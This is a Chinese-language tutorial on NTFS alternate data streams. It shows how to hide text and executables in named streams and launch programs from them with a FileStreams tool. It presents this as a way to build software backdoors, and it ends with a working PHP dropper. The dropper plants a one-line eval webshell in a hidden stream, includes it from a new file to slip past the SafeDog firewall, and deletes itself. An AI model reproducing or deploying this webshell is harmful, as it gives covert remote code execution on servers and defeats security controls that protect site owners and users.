WEB安全之NTFS文件流


NTFS文件流

NTFS文件系统实现了多文件流特性,NTFS环境中一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流

Windows资源管理器默认不显示出文件的命名文件流

这些命名文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序


NTFS文件流生成步骤

  1. 任意NTFS分区下打开CMD窗口

    1
    echo mstlab >> mst.txt:test.txt

    则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,无内容

    使用以下命令可看到文件中的内容,即mstlab

    1
    notepad mst.txt:test.txt

    其中test.txt为命名文件流,mst.txt为默认的未命名文件流

  2. mst.txt可以不存在,或者为已经存在的文件。文件格式没有要求

    可以达到的目的:将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),则其他人无法查看到隐藏信息

  3. 包含隐藏信息的文件仍然可以继续隐藏其他内容,即mst.txt可以再次创建新的隐藏信息的流文件test1.txt,体现了NTFS的多文件流特性

    此时,mst.txt:test.txtmst.txt:test1.txt相互独立,无影响

在此时, mst.txt为宿主,被test.txttest1.txt所寄生。当宿主消失,寄生也随之消失


NTFS特性

特性1

利用文件流启动程序

初始使用

工具:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z

  1. 新建文本文档mst.txt

  2. 列举文件的文件流

    1
    FileStreams.exe enum mst.txt

    1.png

    如图,文件的文件流为default(默认的文件流)

  3. 创建新的文件流vkey

    1
    FileStreams.exe create mst.txt vkey

    2.png

    3.png

  4. vkey文件流写入内容

    1
    FileStreams.exe write mst.txt vkey mstsec

    4.png

    5.png

  5. 查看vkey文件流内容

    1
    FileStreams.exe dump mst.txt vkey 12

    命令中的12为vkey文件流的大小

    6.png

使用文件流启动程序

  1. 删除文件流vkey

    1
    FileStreams.exe delete mst.txt vkey

    7.png

  2. 创建新的文件流wkey

    1
    FileStreams.exe create mst.txt wkey

    8.png

  3. 加入文件到文件流wkey

    1
    FileStreams.exe append mst.txt wkey C:\Users\W\Desktop\filestreams-master\Release\Release\FileStreams.exe

    9.png

    1
    FileStreams.exe enum mst.txt

    10.png

    1
    FileStreams.exe dump mst.txt wkey 10

    11.png

  4. 执行文件流中的程序

    1
    FileStreams.exe launch mst.txt wkey

    12.png

特性2

自动创建空文件

当创建寄生文件流时,若不存在指定的宿主文件,则会自动创建一个空的宿主文件,然后创建此文件的寄生文件流


NTFS实际应用

  1. 利用特性1可以实现软件后门

  2. 利用文件流绕过安全狗

    webshell后门

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
    $key = <<<key
    echo "<?php include 'index.php:key.php';?>">>a.php
    key;
    exec($key);
    $url = $_SERVER['PHP_SELF'];
    $filename = substr($url,strrpos($url,'/')+1);
    @unlink($filename);
    ?>

参考链接

https://zhuanlan.zhihu.com/p/26108362

https://zhuanlan.zhihu.com/p/26181401

---------------The End---------------
0%